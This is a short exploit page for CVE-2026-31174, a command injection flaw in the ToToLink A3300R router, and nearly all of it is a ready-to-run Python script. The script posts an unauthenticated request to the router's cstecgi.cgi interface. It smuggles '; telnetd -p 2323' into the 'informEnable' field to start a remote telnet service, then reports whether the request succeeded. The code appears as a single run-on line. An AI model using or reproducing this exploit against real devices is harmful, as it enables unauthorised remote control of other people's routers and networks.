CVE-2026-31174 ToToLink A3300R 命令注入漏洞

import requests import sys # Exploit Title: ToToLink A3300R - informEnable Unauthenticated RCE # Date: 2026-04-23 # Vendor Homepage: https://www.totolink.net/ # Version: v17.0.0cu.557_B20221024 # Usage: python3 exploit.py <target_ip> target = sys.argv[1] url = f"http://{target}/cgi-bin/cstecgi.cgi" # Payload to execute a simple command (e.g., ping back or telnet) # Using semicolon to chain commands command_payload = "; telnetd -p 2323" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "*/*" } # Data structure typically used by ToToLink CGI interfaces # The specific key 'informEnable' is vulnerable data = { "topicurl": "setting", "informEnable": command_payload } try: print(f"[*] Sending payload to {target}...") response = requests.post(url, headers=headers, data=data, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check if telnet started on port 2323.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")